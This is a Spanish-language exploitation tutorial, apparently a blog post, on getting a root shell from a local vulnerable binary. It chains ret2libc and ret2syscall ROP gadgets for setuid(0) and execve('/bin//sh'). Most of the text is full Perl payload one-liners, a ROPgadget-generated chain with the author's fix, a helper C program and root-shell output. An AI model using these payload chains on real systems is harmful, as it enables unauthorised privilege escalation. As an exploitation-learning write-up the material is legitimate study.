$ /home/arget/vuln "`perl -e 'print "A"x140 . "x70x83x04x08" . "x92x85x04x08" . "x94xd2xffxff" . "x3cx84x04x08" . "x70x83x04x08" . "x92x85x04x08" . "x95xd2xffxff" . "x3cx84x04x08" . "x70x83x04x08" . "x92x85x04x08" . "x96xd2xffxff" . "x3cx84x04x08" . "x70x83x04x08" . "x92x85x04x08" . "x97xd2xffxff" . "x3cx84x04x08" . "x60x4dxe8xf7" . "x93x85x04x08" . "xefxbexadxde" . "x80x1fxe0xf7" . "x10x4fxdfxf7" . "xa8x20xf4xf7"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp???????<?p???????<?p???????<?p???????<?`M????ᆳ? ?? O??? ?
sh-4.4# whoami
root
sh-4.4#
Gran parte de mi objetivo de hoy es demostrar cómo existen muchas posibles soluciones para cualquier problema, y aunque no siempre todos los caminos lleven a Roma, varios sí lo harán, y habrá que elegir con cuál se siente uno más cómodo. Adicionalmente estas técnicas no son lo único que se puede emplear, y, en ocasiones no hay nada que hacer con ellas, para evitar entrar en pánico es necesario que el exploiter tenga recursos y la mente completamente abierta, acompañada de una creatividad espléndida y bien entrenada. De ahí viene el nombre de este post, lo que sepas sobre exploiting no te servirá de nada sin la debida creatividad, además es importante complementar la experiencia adquirida mediante experiencias ajenas, al fin y al cabo el alma del hacking es compartir conocimiento, por eso es importante dedicarse a leer con cuidado soluciones ajenas a retos del día a día. Recuerdo un post de blackngel (su blog blackbycode.com ha sido borrado, así que no puedo traer la referencia, bueno, quizá se encuentre en archive.org 🙂 ), que para situar en el registro eax un valor determinado, empleó una llamada a read() (que devuelve el número de bytes leídos), para así, introduciendo la cantidad de bytes justa lograr que read() devolviera en eax el valor deseado.
Nos leemos.
Ya hemos visto antes otra posible solución, pero quería solucionarlo sin emplear el strcpy() para situar en nuestra cadena de ropeo los bytes nulos.
Pobre programita, lo hemos explotado ya por todas partes, deberíamos cambiarlo…
Comencemos con mi primera fase durante este reto. Puse de límites que debía de ser ret2libc puro (no shellcode), y, como ya he dicho, sin emplear el strcpy().
La primera idea que tuve fue emplear un 0x00000000 ya situado en el stack para que sea el argumento de setuid(), llegando hasta él mediante varios punteros a instrucción ret
, es decir (comenzando en el EIP(s))
&ret | &ret | &ret | &ret | &ret | &setuid | ret de setuid | 0x00000000 |
Posteriormente, emplear un gadget sub esp, 0x??
para continuar con la segunda parte del ROP en la parte del stack anterior al EIP(s).
Tras no encontrar ningún sub esp, 0x??
útil, y de desechar un par de teorías busco otro lugar donde puede encontrarse el payload: los argumentos del programa, o las variables de entorno. El objetivo sería en lugar de emplear un sub esp, 0x??
, emplear un add esp, 0x????
, algo así como un esp lifting. El problema es que se trata de un salto grande —creo que de casi unos 600 bytes—, y no hubo forma.
Tras desechar otra gran teoría recurro al ret2syscall. ROPgadget me da hecho un ropchain para ejecutar un execve() —el cual ya veremos—. Pero necesitamos un setuid(0).
La syscall setuid(0) se haría con EAX = 213 y EBX = 0x00000000. El valor de eax en el momento en que tomamos las riendas del ejecutable depende de la cantidad de bytes que introducimos. Lo mejor será hacerlo cero nada más comenzar, ya veremos cómo llegar a 213.
En fin, encontramos un xor eax, eax;ret
en 0xf7df321f.
Ahora a ver cómo llegamos a 213. ¿Scared?
Veo que existe un add ecx, ecx ; ret
, y un or al, ch ; ret
. El ecx lo tenemos con valor 0xffffffff (-1 o 4294967295, dependiendo de cómo lo mires) eso tiene fácil solución, ya que un inc ecx
lo overfloweará pasando a ser 0x00000000. Bien, si asignamos al comienzo un valor a ecx y lo vamos multiplicando por dos y sumándolo en uno cuando se requiere llegamos al 213 de dos patadas.
inc ecx -> ECX = 0x00000000
inc ecx -> ECX = 0x00000001
inc ecx -> ECX = 0x00000002
inc ecx -> ECX = 0x00000003
add ecx, ecx -> ECX = 0x6
add ecx, ecx -> ECX = 0xc
inc ecx -> ECX = 0xd
add ecx, ecx -> ECX = 0x1a
add ecx, ecx -> ECX = 0x34
inc ecx -> ECX = 0x35
add ecx, ecx -> ECX = 0x6a
add ecx, ecx -> ECX = 0xd4
inc ecx -> ECX = 0xd5
Bien, ahora podemos pasarlo a eax mediante el or al, ch
… oh baia. Resulta que el 213 (0xd5) se encuentra en cl, no en ch… Pues habrá que pasarlo mediante rotación. Resulta que en decimal mover hacia la izquierda las unidades añadiendo 0’s a la derecha es multiplicar por potencias de 10, pues en el sistema binario es multiplicar por potencias de 2, luego multiplicar por potencias de 2 es rotar los bits a la izquierda añadiendo 0’s a la derecha. Tenemos que rotarlo 8 bits (lo movemos de los 8 bits más bajos a los 8 bits más altos del cx), por lo que debemos multiplicar por 28.
add ecx, ecx
add ecx, ecx
add ecx, ecx
add ecx, ecx
add ecx, ecx
add ecx, ecx
add ecx, ecx
add ecx, ecx
Ahora hacemos 0x00000000 el eax (no lo he hecho antes pero no afecta…)
xor eax, eax
Ahora el famoso
or al, ch
Por fortuna en el ebx ya tenemos un 0x0, así que solo falta encontrar un int 0x80;ret
(si solo invocásemos una syscall bastaría un int 0x80
, sin embargo, tras la sycall debemos encadenar más ROP). Cuando ROPgadget en /usr/lib32/libc.so.6 no encuentra ninguno casi me atraganto. Buscamos entonces en ld-linux.so.2, donde se encuentran de hecho dos resultados.
int 0x80
Algo así
0x080486ee x4
0x080484aa x2
0x080486ee
0x080484aa x2
0x080486ee
0x080484aa x2
0x080486ee
0x080484aa x8
0xf7df321f
0x08048337
0xf7fd6c30
Hacemos la prueba y mediante strace vemos el setuid32(0). Perfecto.
Ahora con python2.7 ROPgadget/ROPgadget.py --binary vuln --badbytes 00 --ropchain
intentamos generar un ropchain para execve(), sin embargo, no es capaz. Vamos a probar para alguna librería:
python2.7 ROPgadget/ROPgadget.py --binary /usr/lib32/libc.so.6 --badbytes 00 --ropchain --offset 0xf7dc4000
Genera el siguiente código
`#!/usr/bin/env python2
execve generated by ROPgadget`
from struct import pack
# Padding goes here
p = »
p += pack(‘<I’, 0xf7ddf52c) # pop esi ; ret
p += pack(‘<I’, 0xf7f9b004) # @ .data
p += pack(‘<I’, 0xf7dc5aae) # pop edx ; ret
p += ‘/bin’
p += pack(‘<I’, 0xf7e4a686) # mov dword ptr [esi], edx ; pop ebx ; pop esi ; ret
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0xf7ddf52c) # pop esi ; ret
p += pack(‘<I’, 0xf7f9b008) # @ .data + 4
p += pack(‘<I’, 0xf7dc5aae) # pop edx ; ret
p += ‘//sh’
p += pack(‘<I’, 0xf7e4a686) # mov dword ptr [esi], edx ; pop ebx ; pop esi ; ret
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0xf7ddf52c) # pop esi ; ret
p += pack(‘<I’, 0xf7f9b00c) # @ .data + 8
p += pack(‘<I’, 0xf7df804e) # xor edx, edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0xf7e4a686) # mov dword ptr [esi], edx ; pop ebx ; pop esi ; ret
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0x41414141) # padding
p += pack(‘<I’, 0xf7dddeb5) # pop ebx ; ret
p += pack(‘<I’, 0xf7f9b004) # @ .data
p += pack(‘<I’, 0xf7e01e03) # pop ecx ; ret
p += pack(‘<I’, 0xf7f9b00c) # @ .data + 8
p += pack(‘<I’, 0xf7dc5aae) # pop edx ; ret
p += pack(‘<I’, 0xf7f9b00c) # @ .data + 8
p += pack(‘<I’, 0xf7df321f) # xor eax, eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dcf5ec) # inc eax ; ret
p += pack(‘<I’, 0xf7dc6d37) # int 0x80
Añado al final un print p
y redirecciono la salida a a.txt
.
Me escribo un programita en C
#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
void panic(char* s)
{
perror(s);
exit(-1);
}
int main(int argc, char** argv)
{
unsigned char c;
FILE* f;
if(argc < 2) return 1;
f = fopen(argv[1], «rb»);
if(!f) panic(«Error en fopen()»);
while(1)
{
c = fgetc(f);
if(feof(f)) break;
if(isalnum(c)) putchar(c); // Esto luego resultó mala idea
else
printf(«\x%02x», c);
}
putchar(‘n’);
return 0;
}
Lo ejecuto sobre a.txt
y obtengo los valores hexadecimales del payload de forma apropiada para inyectarse de igual manera que como venimos haciendo. Ya en un futuro haremos exploits en python, cuando la complejidad lo requiera.
En el ROP generado cambiamos las direcciones de .data y .data+xx, ya que eso está pensado para el .data de libc.so.6, así que las cambiamos por las del .data del binario: 0x0804a018 y sucesivas.
Tenemos otro problemita, y es que ROPgadget ha cometido un error al crear ese ROP, ya que en el segundo pop esi
recoge .data+8, y luego ejecuta el gadget xor edx, edx ; pop...;ret
. El problema es que ese último gadget contiene un pop esi
que recoge un 0x41414141 colocado ahí para relleno (los pop’s entre el xor edx,edx
y el ret tienen que recoger algo inocuo, si no se cargarán la cadena de ropeo, por eso es necesario colocar relleno), luego, el esi se dereferencia hacia -supuestamente- .data+8 en el gadget mov [esi], edx
, lo que (al contener el esi realmente un 0x41414141) supone una violación de segmento. Se puede arreglar situando en el segundo 0x41414141 tras el gadget xor edx,edx
la dirección de .data+8 .
Al fin estamos listos para explotarlo de verdad:
$ /home/arget/vuln "`perl -e 'print "A"x140 . "xeex86x04x08"x4 . ("xaax84x04x08"x2 . "xeex86x04x08")x3 . "xaax84x04x08"x8 . "x1fx32xdfxf7" . "x37x83x04x08" . "x30x6cxfdxf7" . "x2cxf5xddxf7" . "x18xa0x04x08" . "xaeZxdcxf7" . "/bin" . "x86xa6xe4xf7" . "AAAA" . "AAAA" . "x2cxf5xddxf7" . "x1cxa0x04x08" . "xaeZxdcxf7" . "//sh" . "x86xa6xe4xf7" . "AAAA" . "AAAA" . "x2cxf5xddxf7" . "x20xa0x04x08" . "Nx80xdfxf7" . "AAAA" . "x20xa0x04x08" . "AAAA" . "AAAA" . "x86xa6xe4xf7" . "AAAA" . "AAAA" . "xb5xdexddxf7" . "x18xa0x04x08" . "x03x1exe0xf7" . "x20xa0x04x08" . "xaeZxdcxf7" . "x20xa0x04x08" . "x1f2xdfxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "xecxf5xdcxf7" . "7mxdcxf7"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������������������������������������������ 2��7�0l��,��� ��Z��/bin����AAAAAAAA,��� ��Z��//sh����AAAAAAAA,��� �N���AAAA �AAAAAAAA����AAAAAAAA���� � �� ��Z�� � 2����������������������������������������������7m��
[root@plata arget]# whoami
root
[root@plata arget]#
Buenas noches.